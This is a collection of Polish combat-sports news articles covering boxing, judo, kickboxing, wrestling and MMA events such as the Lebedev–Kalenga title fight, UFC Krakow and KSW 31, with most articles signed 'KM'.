W najbliższy piątek na kibiców boksu czeka nie lada gratka. Od godziny 17:00 pokażemy na żywo wielką galę z Moskwy. W głównej walce wieczoru Denis Lebiediew zmierzy się z Yourim Kalengą o mistrzostwo świata WBA w kategorii junior ciężkiej. A to jeszcze nie koniec emocji. Z piątku na sobotę na naszej antenie będziemy transmitować półfinały turnieju Boxcino w kategoriach ciężkiej i junior średniej. Tego żaden szanujący się kibic nie może przegapić!
 Prawdziwe bokserskie święto czeka nas w najbliższy piątek. Prosto z Moskwy pokażemy aż cztery pojedynki na światowym poziomie w tym jeden o mistrzostwo świata! Na ringu zaprezentuje się dobrze znana polskiej publice plejada gwiazd kategorii junior ciężkiej. W głównej walce wieczoru zobaczymy starcie Denisa Lebiediewa (26-2, 20 KO) z Yourim Kalengą (21-1, 14 KO) o czempionat WBA w kategorii cruiser. Potworną moc pięści rosyjskiego mańkuta odczuł na własnej skórze we wrześniu ubiegłego roku Paweł Kołodziej. Niepokonany wcześniej “Harnaś” został brutalnie znokautowany już w drugiej rundzie. W innych atrakcjach rozgrywających się w limicie 200 funtów zobaczymy pojedynek mistrza olimpijskiego, zapamiętanego z porażki z Krzysztofem “Diablo” Włodarczykiem Rachima Czakijewa(21-1, 16 KO), który zmierzy się z bardzo doświadczonym eks-mistrzem świata Valerym Brudovem(42-5, 28 KO) oraz Portorykańczyka Francisco Palaciosa (23-2, 14 KO), który z Włodarczykiem do boju stawał dwukrotnie (pierwszy raz przegrywając bardzo kontrowersyjnie), a tym razem podejmie niepokonanego mistrza nokautu z Rosji Dmitrija Kudriaszowa (16-0, 16 KO). Ponadto w kategorii super lekkiej w przeciwległych narożnikach staną: niepokonany “Orzeł” Edward Trojanowski (20-0, 17 KO) oraz “Humanoid” Aik Szakhnazarjan (15-1, 6 KO).

Zapowiedź Alberta Sosnowskiego: [kod]

Półfinały turnieju Boxcino w kategoriach ciężkiej i junior średniej
 
Na antenę FightKlubu powraca turniej Boxcino, organizowany przez telewizję ESPN. W nocy z piątku na sobotę o 03:00 (powtórka w sobotę od 11:30) pokażemy na żywo starcia półfinałowe! Emocje będą podwójne, bo półfinały odbędą się w dwóch kategoriach: junior średniej i ciężkiej. W kategorii ciężkiej, najbardziej doświadczony z turnieju w swojej kategorii, 29-letni Rosjanin Andriej Fedosow (26-3, 21 KO), który w ćwierćfinale wygrał z Natem Heavenem już w pierwszej rundzie, podejmie JamajczykaLenroya “TNT” Thomasa (19-3, 9 KO). W drugim półfinale kategorii ciężkiej zobaczymy starcie urodzonego w Rumunii, a obecnie mieszkającego w Kalifornii 28-letniego Razvana Cojanu (13-1, 7 KO). Razvan w pierwszej walce turnieju odprawił z kwitkiem po dogrywce niepokonanego wcześniej Eda Fountaina. O finał z Rumunem zmierzy się 27-letni Amerykanin Donovan Dennis (13-2, 10 KO), srebrny medalista krajowego turnieju Golden Gloves z 2011 roku, który do półfinału zawodów Boxcino dostał się dzięki wygranej przez techniczny nokaut w czwartej rundzie nad Stevem Vukosą.
W półfinałowych parach kategorii junior średniej zobaczymy także: niepokonanego Stanisława Skorokhoda (9-0, 7 KO) z Ukrainy, który zmierzy się z 26-letnim “Apollo Kidem” Johnem Thompsonem (15-1, 5 KO), oraz reprezentanta Miasta Aniołów Brandona Adamsa (16-1, 11 KO) w walce Ormianinem Vito Gasparyanem (15-3-5, 8KO).

Grecki brąz

Warunki atmosferyczne na początku kwietnia nie rozpieszczały. Raz zza chmur wyglądało słońce, ale w przeważającej mierze padał deszcz, któremu towarzyszył wiatr. Tylko siedzieć w domu, lepiej się nie wychylać. Tak było w Polsce. W Grecji zapewne było inaczej. Zwłaszcza w Atenach atmosfera musiała być bardzo gorąca.

W dniach 4-5 kwietnia w stolicy Grecji miały miejsce zawody Pucharu Europy Juniorów i Juniorek w Judo. Na starcie pojawiły się dwie nasze reprezentantki: w kategorii 48 kg wystąpiła Kamila Busse, a w 52 kg Vanessa Machnicka. Biało-czerwone zaprezentowały się dobrze, nie ma powodów do narzekań. Z Aten Machnicka przywiozła do Polski brązowy medal. Na początku rywalizacji nasza zawodniczka trafiła na reprezentantkę Grecji Konstantinę Lazaridou. Bywa, że ściany pomagają gospodarzom, jednak w tym wypadku tak nie było. W kolejnym pojedynku Machnicka trafiła na zawodniczkę, która przeszła przez repasaże. Dla Stephanie Walker z Wielkiej Brytanii był to już szósty pojedynek podczas zawodów. Zmęczenie wzięło górę, skoncentrowana i dokładana Machnicka triumfowała i była na prostej drodze do finału, jednak stanęła na niej Joana Fernandes z Portugalii. Polka musiała zadowolić się trzecim miejsce. Fernandes w finale uległa Damli Caliskan z Turcji. W kategorii 48 kg rywalizowała Kamila Busse. Nasza zawodniczka od zwycięstwa rozpoczęła rywalizację w turnieju – pokonała Belgijkę Evelyne Audiens. W kolejnej walce uległa Turczynce Gulkander Senturk. Polka nie miała szczęścia w repasażu. Wygrała z zawodniczką z Grecji, jednak zatrzymała się na Bułgarce Borislavie Damyanovej i zakończyła rywalizację na siódmej pozycji. Mimo, że w półfinale kategorii 48 kg znalazły się trzy zawodniczki z Turcji to nie udało im się odnieść zwycięstwa. Pogodziła je Marine Baumans zBelgii.

U pań słabo obsadzone były najcięższe kategorie. W 78 kg rywalizowało zaledwie sześć zawodniczek, a jak określić fakt, że w +78 kg wystartowały tylko dwie judoczki? Gospodynie, Greczynki wywalczył tylko jeden medal, ale za to złoty. W kategorii 63 kg triumfowała Elisavet Teltsidou. Najlepiej zaprezentowały się Turczynki i Belgijski, które zdobyły odpowiednio dziesięć i pięć medali. Judoczki z Beneluksu wywalczyły trzy złote oraz po jednym srebrnym i brązowym krążku. Warto wziąć poprawkę na wynik Turcji. Reprezentantki kraju położonego częściowo w Europie cztery medale wywalczyły w najsłabiej obsadzonych kategoriach. Wśród panów dominacja Gruzinów, którym kroku starali dotrzymać się Rosjanie. Jedynie w kategorii 66 kg triumfował zawodnik z Białorusi Dzmitry Minkou. Cztery złota dla Gruzji, które wywalczyli: Irakli Kupatadze (55kg), Tornike Nagliashvili (60kg), Koba Mchedlishvili (81 kg) oraz Giorgi Lazuashvili (+100kg). Alexander Kolesnik (73kg), Mikhail Igolnikov (90kg) i Niyaz Ilyasov (100kg) zdobyli pierwsze miejsce dla Rosji. Łącznie Gruzini wywalczyli dziesięć medali, zaś reprezentanci Sbornej sześć.

W Atenach wystąpiły dwie Polki. Skoro Machnicka wywalczyła brązowy medal to występ w Grecji należy ocenić pozytywnie. Kolejne doświadczenie dla naszych juniorek, które zasmakowały rywalizacji z najlepszymi. Brąz Machnickiej cieszy i każe bacznie przyglądać się kolejnym występom zawodniczki.

KM

Polki dominują w low kicku

W Bihacu odbył się turniej kickbokserski Bośnia i Hercegowina Open. Na starcie pojawiło się prawie sześćset zawodniczek i zawodników z ośmiu krajów.

Po raz kolejny reprezentanci Polski udowodnili, że stanowią klasę samą w sobie. Biało-czerwoni wywalczyli w Bośni i Hercegowinie worek medali prezentując wysoki poziom sportowy. Zawodnicy startowali w formułach kick light i low kick. W Bihacu wystąpiło osiemnastu polskich fighterów, a jedenaścioro z nich wywalczyło medal! Należy podkreślić, że dziewięć z nich było kruszcu najwyższej wagi. Zawody w Bośni i Hercegowinie były dobrym przetarciem przed najbliższymi startami (Puchar Świata w Austrii) oraz październikowymi mistrzostwami świata WAKO. Każdy start, który przynosi triumfy i pozwala doskonalić formę z pewnością jest istotnym etapem przygotowań przed imprezą sezonu.

W Bihacu fenomenalnie zaprezentowały się Polki, które zdominowały rywalizację w low-kicku. Na starcie pojawiło się sześć zawodniczek – cztery wywalczyły złote medale, a dwie srebrne. Żaneta Cieśla (52 kg), Iwona Nieroda (56 kg), Monika Kędzierska (65 kg), Marta Waliczek (60 kg) mogły cieszyć się z zajęcia pierwszych miejsc. Warto dodać, że wszystkie zawodniczki w tym roku wywalczyły tytuły mistrzyń Polski w low – kick w swoich kategoriach wagowych. Sylwia Jurkiewicz (56 kg) i Katarzyna Jaworska (65 kg) sięgnęły po srebrne krążki. Sześć zawodniczek i sześć medali, czyli występ wręcz wzorowy. Polki całkowicie zdominowały rywalizację w low-kicku. Należy uwzględnić, że w kategoriach 56 kg i 65 kg dwa pierwsze miejsca rozdzieliły między siebie nasze reprezentantki. Iwona Nieroda uprzedziła Sylwię Jurkiewicz, zaś Monika Kędzierska okazała się lepsza od Katarzyny Jaworskiej.

Po złoty medal sięgnął siedmiokrotny mistrz Polski w low-kicku Eliasz Jankowski (63,5kg). Kolejny dobry występ w tym sezonie zaliczył Radosław Paczuski w kategorii 81 kg. Reprezentant Radość Boxing Team został uznany najlepszym zawodnikiem mistrzostw Polski i kontynuuje dobre występy na arenie międzynarodowej. Łukasz Kaczmarczyk triumfował w kategorii 71 kg, a Patryk Proszek nie dał szans rywalom w 91 kg. W seniorskiej rywalizacji w kick-light startował tylko Roger Garbaczewski. Okazało się, że nie ilość, a jakość się liczy. Garbaczewski kroczył od zwycięstwa do zwycięstwa i w Bośni sięgnął po złoty medal.

Ponadto, podczas turnieju w Bihacu zaprezentowali się Kamil Ruta i Maciej Garbaczewski. Tym utytułowanym zawodnikom nie udało się stanąć na podium. Fakt, że w turnieju w Bośni i Hercegowinie wzięło udział osiemnastu Polaków, a jedenastu zdobyło medal jest wielce wymowny. Potencjał polskiego kickboxingu jest wielki, tkwią w nim ogromne pokłady siły i energii. Mamy kapitał, który z pewnością zaprocentuje, a już w tej chwili daje wymierne efekty w postaci sukcesów na światowych arenach. W Bihacu bardzo dobry występ zaliczyły panie, które zdominował rywalizację w low – kicku. Październikowe mistrzostwa świata powinny należeć do Polaków, o ile forma zostanie utrzymana.

KM

 

Ten lepszy Pacquiao

Można powiedzieć, że rozpoczęło się już końcowe odliczanie przed walką XXI wieku. Floyd Mayweather Jr i Manny Pacquiao niczym bolidy Formuły 1 są coraz bliższej linii startowej i czekają na sygnał rozpoczynający rywalizację.

To coś więcej niż pojedynek. To coś więcej niż sport. Walka Mayweathera i Pacquiao to trudna do pojęcia rzeczywistość, w której dwaj aktorzy są niczym biznesmeni napełnijący swoje konta dolarami, a co ofiarują w zamian? Czyżby wielkie show? Pytanie: medialne czy sportowe? Rozstrzygnięcie tego zagadnienia jest trudne, a najlepszą odpowiedź da postawa obu pięściarzy w ringu. Wiadomo jaki jest ciężar tego pojedynku,  jaka aura została wytworzona wokół starcia Moneya i Pacmana.

Centralnym punktem jest rywalizacja bokserka. To jest klucz i motyw przewodni. Rzecz jasna, że pięściarze robią dobry biznes na tym pojedynku, jednak nadal pozostają bokserami i ich spotkanie w ringu będzie punktem kluczowym całego show. Pacquiao, który trzy lata temu przeżywał gorszy okres w swojej karierze wrócił na właściwe tory. Porażka z Timothym Bradleyem oraz Juanem Manuelem Marquezem okazała się cennym i wartościowym doświadczeniem dla Filipińczyka. Dla Pacquiao nastały lepsze czasy. Pacquiao wziął rewanż na Bradleyu, choć nadal twierdzi, że pierwszego pojedynku przegrać nie powinien. – Nie uważam, że to była moja porażka. Akceptuję decyzję sędziów, ponieważ jest to część tego sportu, ale uważam, że wygrałem ten pojedynek – powiedział Pacman. Z kolei porażka z Marquezem miała znaczący wpływ na utytułowanego boksera. Pacman miał rywala na talerzu, jednak w końcówce starcia popełnił błąd i poniósł porażkę. Od tamtego pojedynku już nie przegrał. – To czego nauczyła mnie porażka z Juanem Manuelem Marquezem to cierpliwość – tak po latach patrzy na tą walkę Pacquiao.

Teraz Filipińczyk kroczy od zwycięstwa do zwycięstwa. Pokonał Brandona Riosa, wziął rewanż na Bradleyu, z Chrisem Algierim robił, co chciał. Pacman wygrał trzy pojedynki z rzędu, jednak wszystkie przez decyzję sędziów. Szybkość i siła ciosów zawodnika z Filipin nie są już tak skuteczne jak kiedyś. Nauka płynąca z pojedynku z Marquezem wydała owoce. – W ostatnich trzech pojedynkach byłem bardziej cierpliwy i zwyciężyłem każdą rundę, tym samym dobrze prezentując się przed publicznością. Czy w starciu z Mayweatherem cierpliwość pomoże Pacquiao w odniesieniu czwartego zwycięstwa z rzędu? Jak sam podkreśla – wyciągnął wnioski z porażek, co jest widoczne w kolejnych pojedynkach.

Bob Arum, szef grupy Top Rank, wyżej ceni Pacquiao i w nim widzi faworyta majowej potyczki. – Nie podlega dyskusji to, że Mayweather jest niesamowitym pięściarzem.  Walka z nim będzie stanowiła dla Pacquiao ogromne wyzwanie, ale jestem przekonany, że jest w stanie odnieść zwycięstwo – tak twierdzi 83-latek. Każdy wyciąga wnioski i dojrzewa. Pacquiao to doświadczony bokser, który rywalizował z wieloma pięściarzami, ale pojedynek z Mayweatherem będzie czymś wyjątkowym. Wynika to z faktu, że to coś więcej. Czyli do zwycięstwa też potrzeba czegoś więcej?

KM

UFC zagarnie Polskę?

Coraz bliżej gala UFC w Krakowie. Najlepsza organizacja świata po raz pierwszy zaprezentuje się w naszym kraju. Czy gala porwie? Jak UFC sprzeda się nad Wisłą?

Polski rynek mieszanych sportów walki jest dość specyficzny. Delikatnie powiedziane. Tak naprawdę jesteśmy krajem pod tym względem hermetycznym. Pozycja KSW nie podlega dyskusji i długo nikt nie zaproponuje polskim kibicom bogatszej oferty. Dlaczego? A dlatego, że KSW konsekwentnie budowało swoją pozycję oraz wizerunek latami, ma wsparcie w telewizji, dobry marketing i stworzyło z zawodników prawdziwe gwiazdy. Na przestrzeni kilku latach w Polsce pojawiło się wiele organizacji mieszanych sportów walki, które szybko zniknęły z polskiej mapy bądź obracają się w niszy. Można trafić do świadomości szerszej publiki w negatywny sposób tak jak FEN, które de facto w swoich szeregach skupiło kilku ciekawych zawodników. Konsekwentnie pozycję na rynku stara się budować XCage. Z kolei huczne gale MMA Attack odeszły w zapomnienie. Trudno się przebić na polskim rynku i zagrozić KSW.

Jednak po raz pierwszy galę w Polsce zorganizuje UFC – najlepsza organizacja mieszanych sztuk walki na świecie. Czy osiągnie sukces i niepoprzestanie tylko na jednym evencie? Propozycja krakowskiej gali wygląda ciekawie. W oktagonie pojawi się siedmioro Polaków, którzy mają dać widowisko najwyższych lotów. Jednak w walce wieczoru zaprezentują się Mirko Filipović i Gabriel Gonzaga. Z pewnością dla polskiej publiczności najciekawszym i najbardziej smakowitym kąskiem będzie występ Jana Błachowicza, który zmierzy się z Jimim Manuwą. „John” udanie zadebiutował w UFC i włodarze organizacji wiążą z nim duże nadzieje. Swoją szansę dostaje również Bartosz Fabiński. Kolejne pojedynki w UFC stoczą Marcin Bandel, Daniel Omielańczuk i Paweł Pawlak. Ponadto, swoje pojedynki stoczą Izabela Badurek oraz Damian Stasiak. Polski kibic będzie ściskał kciuki za swoich rodaków, ale czy kupi UFC? Rzecz jasna, że występy w najlepszej organizacji na świecie są wyróżnieniem i ogromnym awansem dla zawodnika, jednak dla widza liczy się inna kwestia. Polski fan MMA ma przed oczami KSW i kupuje ten produkt. Zna go doskonale, ceni i wie, czego może się spodziewać. UFC postara się wedrzeć na polski rynek i rozszerzyć swoją strefę wpływów. Chce przemówić do Polaków, ale musi mieć świadomość, że staje przed trudnym zadaniem. UFC nie może liczyć na wsparcie żadnej telewizji, choć jest światową marką. Ponadto, rynek MMA w Polsce jest dość specyficzny. Wielu próbowało, ale niewielu udało się osiągnąć sukces. KSW posiada swego rodzaju monopol i rozdaje karty. Zainteresowanie galą w Krakowie wynika z dwóch powodów. Po pierwsze, UFC trafia na polski rynek, a po drugie- chodzi o osobę Jana Błachowicza. „John” stał się marką w polskim świecie MMA i to na jego plecach spoczywa de facto rozbudzenie zainteresowania krakowską galą. UFC w Polsce bez Błachowicza z pewnością spotkałoby się z odzewem ze strony publiczności, ale mogłoby nie zebrać zadowalających plonów. Na niekorzyść amerykańskiej organizacji przemawia fakt, że za miesiąc odbędzie się KSW 31. To może uderzyć w sprzedaż biletów. Polski kibic stanie przed wyborem – wejściówka na UFC czy KSW? A marka Kawulskiego i Lewandowskiego może zaoferować fanom widowisko równie ciekawe, o ile nie atrakcyjniejsze.

Twierdzenie, że UFC zagarnie Polskę może okazać się nadużyciem. Z dużą dozą prawdopodobieństwa tak będzie. Gala w Krakowie będzie jednorazową atrakcją, która wykona założony plan, ale nie przekona i nie utkwi w pamięci Polaków. Polski rynek jest specyficzny i bardzo przywiązany do „swojego”. Sukces UFC staje w tym punkcie pod znakiem zapytania. Gdyby nie Błachowicz to gala w Krakowie traktowana byłaby z o wiele mniejszym entuzjazmem. Jak to klasyk powiedział w określonym kontekście: „a taki ładny był, amerykański”. Czy po gali w Krakowie będzie tak mówili?  

KM

Wałbrzyskie i mongolskie dokonania

W ostatnich tygodniach w polskich zapasach główną rolę odgrywały pierwsze mistrzostwa Europy U-23 oraz zgrupowanie żeńskiej kadry w Mongolii.

Wałbrzych gościł najlepszych młodych zawodników w Europie. Mistrzostwa U-23 zostały zorganizowane po raz pierwszy w historii. Dla Polski to ogromny zaszczyt, że została wybrana krajem, który zainaugurował rywalizację zapaśniczą na tym poziomie. Wałbrzych spełnił pokładane w nim nadzieje, zawodnicy mieli komfortowe warunki do występów. Młodzi Polacy trzykrotnie wprawili fanów zapasów w euforię. Największą wagę ma złoty medal Darii Osockiej w kategorii 75 kg. Trzeba zaznaczyć, że w tej grupie rywalizowało łącznie osiem zawodniczek. Osocka okazała się najlepsza, rywalki nie były w stanie jej sprostać. W ¼ finału Polka rozprawiła się z Sabirą Aliyevą z Azerbejdżanu, w półfinale Węgierka Zsanett Nemeth ani przez chwilę nie stanowiła  dla naszej zawodniczki zagrożenia. Po finałowej rywalizacji z Estonką Epp Mae Osocka mogła wznieść ręce w geście triumfu i cieszyć się z pierwszego, jak się później okazało jedynego, złota dla Polski podczas mistrzostw Europy U-23.

Krystian Formela w bogato obsadzonej kategorii 85 kg w stylu klasycznym wywalczył brązowy medal. Polski zapaśnik w 1/8 rozpoczął rywalizację od zwycięstwa nad Węgrem Patrikiem Szabo. W ćwierćfinale toczył wyrównaną walkę z Fabio Parisim z Włoch, a w półfinale minimalnie lepszy od Formeli okazał się Vladimir Stankić z Bułgarii. Po porażce Polak nie załamał rąk i podjął walkę o trzecie miejsce.  Po trudnym boju Formela mógł cieszyć się ze zwycięstwa nad Hohą Hahnidze. W jedenastoosobowym zestawieniu w kategorii 125 kg w stylu wolnym na trzeciej pozycji uplasował się Robert Baran. Polak radził sobie dobrze, walczył pewnie i zwyciężał aż do półfinału, w który trafił na reprezentanta Rosji. Muradin Kushkhov okazał się przeszkodą nie do przejścia. W rywalizacji o trzecie miejsce Baran pokonał Egora Olara z Mołdawii. Tym samym pierwsze mistrzostwa Europy U-23 przeszły do historii. Turniej miał miejsce w Polsce, biało – czerwoni wywalczyli trzy medale. Jak ocenić wyczyn biało-czerwonych? Z matematycznego punktu widzenia szału nie ma. W zawodach uczestniczyło dwudziestu trzech Polaków. Ważna jest praca z młodzieżą, gdyż na tym etapie rozpoczyna się kształtowanie zapaśnika i przygotowywanie do sukcesu. W Wałbrzychu na szczyt wspięła się trójka, a w zasadzie tylko Osocka, a powinno więcej zawodników.

Dwa tygodnie w Mongolii spędziła żeńska reprezentacja Polski. Na koniec zgrupowania nasze zawodniczki wzięły udział w turnieju Mongolia Open. W kategorii 63 kg srebro wywalczyła Monika Michalik, w 69 kg po brąz sięgnęła Agnieszka Wieszczek – Kordus. Z powodu urazu w zawodach nie startowała będąca w dobrej dyspozycji Iwona Matkowska. Zgrupowanie w Mongolii było kolejnym etapem przygotowań do mistrzostw świata.

KM

Wojna polsko – polska

Porażka w starciu z Arturem Szpilką miała wieńczyć karierę Tomasza Adamka. Okazuje się, że „Góral” zaprezentuje się publiczności jeszcze raz podczas swojej walki pożegnalnej.

Z kim będzie rywalizował były pretendent do mistrzostwa świata WBC? Kandydatów jest dwóch: Przemysław Saleta oraz Albert Sosnowski. Na obecnym etapie rokowań większe szanse daje się „Dragonowi”. Sam Sosnowski entuzjastycznie podchodzi do perspektywy walki z Adamkiem i chętnie stanąłby jeszcze raz w ringu. Ostatni występ zaliczył w czerwcu 2014 roku, kiedy przegrał z Marciem Rekowskim. Z kolei Saleta ma już za sobą udział w walce polsko – polskiej. 47-latek wygrał pojedynek z Andrzejem Gołotą.

Adamek stanąłby przed szansą pożegnania się z publicznością i uwieńczenia swojej bogatej kariery. „Góral” zdobywał tytuły w wagach półciężkiej oraz cruiser, a w ciężkiej walczył o mistrzostwo świata. Ostatnie występy Adamka nie spełniły jego oczekiwań. W 2014 roku Polak stoczył dwa pojedynki, w których musiał uznać wyższość rywali. Adamek przegrał z Wiaczesławem Głazkowem oraz Arturem Szpilką. Rywalizacja z młodszym rodakiem miała pokazać na jakim etapie jest obecnie „Góral”. Okazało się, że „Szpila” dojrzał i mądrze boksował neutralizując największe atuty boksera z Żywca, którego kondycja pozostawiała wiele do życzenia. Sam Adamek mówił o pożegnaniu z ringiem. Jednak pojawiła się propozycja walki pożegnalnej, na którą pięściarz odpowiedział pozytywnie. Prawdopodobnie Adamek stoczy pojedynek podczas gali Polsat Boxing Night. W kontekście rywala padają dwa nazwiska: Sosnowski i Saleta. Wydaje się, że bardziej atrakcyjnym rywalem jest młodszy „Dragon”. 47-letni Saleta obecnie poświęca czas na komentowanie kickboxingu oraz występ w telewizyjnym show. Warto dodać, że Adamek w swoim  pożegnalnym starciu będzie walczył o pięćdziesiąte zwycięstwo w karierze.

Z pewnością dla widzów atrakcja, a dla samego „Górala” okazja do pożegnania z ringiem na polskiej ziemi. To, że Adamek miał bogatą karierę nie podlega dyskusji. Wydaje się, że podejmuje słuszną decyzję o pożegnaniu z ringiem, skoro zdrowie już nie to i forma nie dopisuje. Chociaż nie będzie rozdrabniał swojego autorytetu. „Trzeba wiedzieć, kiedy ze sceny zejść” –jak śpiewał Grzegorz Markowski. Fakt, że Adamek stoczy ostatni pojedynek w karierze z polskim bokserem o mocnym nazwisku również ma znaczenie. Jeśli będzie to poważna walka z pewnością będzie miała wartość sportową. Przez całą karierę „Góral” pokazywał charakter i nie szedł na łatwiznę, a wręcz przeciwnie często pod prąd. Ale zawsze walczył z sercem. Zapewne tak będzie i tym razem.

Wojna polsko – polska to ciekawy zbiór słów. Można go odnosić do relacji w społeczeństwie, sporcie , polityce. W ostatnim czasie w boksie pojawiły się informacje dotyczące sporu na linii Artur Szpilka – Krzysztof Włodarczyk. Obaj panowie nie darzą się sympatią. Być może będą mieli okazję osiągnąć kompromis w ringu. Szpilka i Włodarczyk nie wytrzymali ciśnienia, co doprowadziło do bójki przed salą treningową. Czy możliwy jest pojedynek „Szpili” i Diablo”? Przed Włodarczykiem rewanżowy pojedynek z Drozdem, a Szpilka rozpoczyna treningi w USA i chce inwestować w swój rozwój. Wydaje się, że na ten czas pojedynek jest nierealny, ale w dłuższej perspektywie być może strony zasiądą do rozmów. Z tym warunkiem, że „Diablo” musiałby „podbić” wagę.

Idea walk pożegnalnych staje się coraz powszechniejsza, powoli pojawia się temat starć polsko – polskich. Wydaje się, że najlepiej pobierać naukę na własnym podwórku i tu dokonywać selekcji najlepszych. Czy dla Adamka ostatnim aktem kariery będzie walka z „Dragonem”?

KM

Pudzian zatrzymuje się

Mariusz Pudzianowski będzie jedną z głównym postaci gali KSW, która będzie miała miejsce na stadionie Wembley. Jednakże wcześniej „Pudzian” musi zrobić sobie przystanek. Będzie nim Gdańsk. 23 maja w Ergo Arenie Pudzianowski podczas KSW 31 zmierzy się z Rollesem Gracie.

Nazwisko rywala zobowiązuje. Mimo wszystko pisanie pochwalnych peanów na temat Brazylijczyka byłoby grubą przesadą. Gracie to fighter w zasięgu „Pudziana”. 36-latka charakteryzuje bardzo dobry grapp ling. Brazylijczyk zdążył się zaprezentować polskiej publiczności podczas KSW 28, kiedy zmierzył się z Karolem Bedorfem. Gracie przegrał już w pierwszej rundzie. Najbliższy rywal Pudzianowskiego ma za sobą słabszy okres w karierze. Zanotował dwie porażki z rzędu, a ostatnią wygraną na swoim koncie zapisał w grudniu 2012 roku.

Śmiało można porównać potencjał obu zawodników poprzez ich walki. Zarówno „Pudzian” jak i Gracie mierzyli się z tymi samymi rywalami. Yusuke Kawaguchi i Bob Sapp nie sprawili problemów gwiazdom KSW 31. Pudzianowski Japończyka pokonał przez decyzję sędziów, Amerykanina serią ciosów odprawił już w pierwszej rundzie. Gracie oba pojedynki wygrał przed czasem. Właśnie Kawaguchi jest ostatnim rywalem, z którym Brazylijczyk triumfował. Warto wspomnieć, że w swojej karierze Gracie wystąpił w UFC. W czerwcu 2010 roku przegrał z Joeyem Beltranem. Dobry grappler, który gubi się pod naporem ciosów. Pudzianowski musi być zdecydowany, aby osiągnąć sukces.

Do tej pory wszyscy pamiętają efektowną walkę „Pudziana” z Pawłem Nastulą podczas KSW 29. Dopiero dogrywka wyłoniła zwycięzcę. Wiele ciosów, krople potu, ogromne zmęczenie i dwóch potężnych facetów. W tym pojedynku lepszy okazał się „Pudzian”, który tym samym zakończył karierę Nastuli. 38-letni fighter ostatnią porażkę na swoim koncie zapisał w czerwcu 2013 roku. Pogromcą Polaka okazał się Sean McCorkle, jednak trzy miesiące później Pudzianowski wziął rewanż na Amerykaninie. „Pudzian” kroczy drogą triumfów, Gracie wpadł w tor porażek. Czy w Gdańsku ten stan zostanie zachowany?

Jeśli Polak pokona Brazylijczyka to… No właśnie –co? Wszystkie znaki na niebie i ziemi wskazują jeden kierunek. Tym kierunkiem jest przystanek Karol Bedrof. Gracie poległ w starciu z „Coco”, a jeśli poniesie porażkę z „Pudzianem” to ten mógł stanąć naprzeciw swojego rywala. Skomplikowane? Na pozór. Zarówno Bedorf jak i Pudzianowski wygrali swoje pojedynki z Pawłem Nastulą. „Coco” jest mistrzem i obecnie jednym z najefektywniejszym oraz najtwardszych zawodników KSW. Fantastyczną ideą jest jego starcie z „Pudzianem”. Z tym, że Gracie to nie jest facet, który chodzi z koszykiem na grzyby, lecz prezentuje określony poziom sportowy. Być może Brazylijczyk jest w dołku, ale nadal pozostaje wyzwaniem dla byłego strongmana. Rzecz jasna wyzwaniem w zasięgu Polaka, który będąc w dobrej formie powinien odnieść zwycięstwo. Jeśli „Pudzian” wygra śmiało może myśleć o walce z Bedorfem. Teraz musi zatrzymać się w Gdańsku, potem pojedzie na Wembley.

Podczas KSW 31 dojdzie do pojedynku o pas kategorii półciężkiej. Goran Reljić poznał swojego rywala. Będzie nim Attila Vegh, były mistrz Bellatora.

KM

Włoskie medale młodych Polaków

We włoskim Ligano odbyły się zawody Pucharu Europy Juniorów i Juniorek w Judo. Swoją obecność na turnieju zaznaczyli młodzi Polacy, którzy wywalczyli trzy medale.

Dobry występ naszych reprezentantów jest podstawą do twierdzenia, iż mamy zaplecze, które w przyszłości powinno wydać owoce i prowadzić równorzędną rywalizację z najlepszymi na poziomie juniorskim. W Ligano Polacy wywalczyli trzy medale, dwa z nich przypadły nam w kategorii 90 kg wśród juniorów. Srebrny medal zdobył Piotr Kuczera, brązowy zawisł na szyi Rafała Kozłowskiego. Siódme miejsce w tej kategorii wagowej zajął Michał Głowacki. W 90 kg Polacy pokazali się z dobrej strony i wyraźnie zaznaczyli swoją obecność. Z kolei w kategorii 66 kg siódmą pozycję zajął Paweł Wawrzyczek. Zdecydowanie rywalizację zdominowali reprezentanci Azerbejdżanu, którzy zdobyli pięć złotych na osiem możliwych medali. Jedynie w kategoriach 66 kg, 73 kg i +100 kg triumfowali zawodnicy z innych państw. Odpowiednio Giovanni Esposito z Włoch, Elemer Szocs z Rumunii oraz Zarko Culum z Serbii. Łącznie w zawodach w Ligano juniorzy z Azerbejdżanu wywalczyli dziewięć medali. Tylko kategorii 73 kg nie udało im się wywalczyć miejsca na podium, tu dominowali Rumunii – zwycięstwo Szocsa i trzecia pozycja Marcela Cercea. Cztery medale dla gospodarzy – Włochów, w tym jeden złoty. Z kolei Węgrzy mogą poszczycić się czterema trzecimi miejscami. Srebro i dwa brązowe medale to dorobek reprezentantów Wielkiej Brytanii.

W rywalizacji pań jeden medal dla Polski. Jedynie Eleonora Geri przeszkodziła naszej zawodniczce w odniesieniu zwycięstwa, Anna Załęczna wywalczyła srebro. W rywalizacji juniorek rozdrobnienie, gdyż w każdej kategorii wygrywała judoczka z innego kraju. Najwięcej medali zdobyły Niemki, które zanotowały sześć miejsc na podium. Triumfowała Anna Maria Wagner w kategorii 78 kg. Wielka Brytania zapisała na swoim koncie pięć medali, w tym złoto w kategorii 63 kg dla Katiejemimy YeatsBrown. Po cztery krążki wywalczyły reprezentantki Słowenii oraz Włoch.

Reasumując, mimo braku sukcesów w rywalizacji juniorek to reprezentacja Azerbejdżanu kończy Puchar Europy w Ligano z największym dorobkiem medalowym. Dobry występ zaliczyły reprezentacje Włoch oraz Wielkiej Brytanii. Należy podkreślić zdobycze medalowe Słowenii, Serbii oraz Rumunii. Polacy w Ligano wywalczyli trzy medale, co należy uznać za przyzwoity wynik. Zawody we Włoszech pokazały, że w rywalizacji męskiej dominują judocy z Azerbejdżanu. Kraju, który daje mocne podwaliny i kształtuje zawodnika do osiągania sukcesów. Czy występy na poziomie juniorskim znajdą odzwierciedlenie w karierze seniorskiej? Puchar Europy pokazał, które państwa mają zaplecze na przyszłość. Włochy, Azerbejdżan czy Słowenia mogą spać spokojnie. Polska musi pracować i plasować ją należy w gronie takich państw jak Węgry czy Rumunia.

KM

Cain Velasquez

